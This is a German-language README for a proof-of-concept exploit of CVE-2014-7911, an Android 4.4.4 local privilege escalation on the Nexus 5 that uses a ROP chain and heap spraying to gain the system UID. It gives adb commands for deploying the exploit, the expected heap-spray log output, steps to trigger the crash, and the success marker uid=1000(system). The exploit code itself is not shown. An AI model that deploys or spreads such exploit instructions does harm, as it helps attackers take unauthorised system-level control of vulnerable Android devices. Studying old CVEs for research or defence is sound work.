
Proof-of-Concept-Exploit für die lokale Rechteausweitung unter Android (CVE-2014-7911), der auf Nexus5 abzielt und eine ROP-Kette sowie Heap-Spraying verwendet, um die System-UID zu erlangen.
POC für CVE-2014-7911 für Nexus5 Android 4.4.4_r1 basierend auf retme7, verwende andere rop chain
Verbinde dein Telefon über adb
adb push jni/expolit /data/local/tmp
adb logcat | grep auo_
Starte diesen POC, klicke auf den „CVE-2014-7911“-Button, dann siehst du:
D/auo_CVE20147911(24892): staticAddr = 0x43a1f000
D/auo_CVE20147911(24892): heap sparying... 0
D/auo_CVE20147911(24892): heap sparying... 100
D/auo_CVE20147911(24892): heap sparying... 200
D/auo_CVE20147911(24892): heap sparying... 300
D/auo_CVE20147911(24892): heap sparying... 400
D/auo_CVE20147911(24892): heap sparying... 500
D/auo_CVE20147911(24892): heap sparying... 600
D/auo_CVE20147911(24892): heap sparying... 700
D/auo_CVE20147911(24892): heap sparying... 800
D/auo_CVE20147911(24892): heap sparying... 900
D/auo_CVE20147911(24892): heap sparying... 1000
D/auo_CVE20147911(24892): heap sparying... 1100
D/auo_CVE20147911(24892): heap sparying... 1200
D/auo_CVE20147911(24892): heap sparying... 1300
D/auo_CVE20147911(24892): heap sparying... 1400
D/auo_CVE20147911(24892): heap sparying... 1500
D/auo_CVE20147911(24892): heap sparying... 1600
D/auo_CVE20147911(24892): heap sparying... 1700
D/auo_CVE20147911(24892): heap sparying... 1800
D/auo_CVE20147911(24892): heap sparying... 1900
Minimiere dann die Aktivität mehrmals, bis das System abstürzt. Falls du folgendes siehst:
D/auo_exploit(22665): uid=1000(system) gid=1000(system)
Der Exploit war erfolgreich. Falls dein Telefon nur abstürzt, ist dein Gerät anfällig; der Exploit ist möglicherweise fehlgeschlagen (du solltest andere ROP-Ketten finden).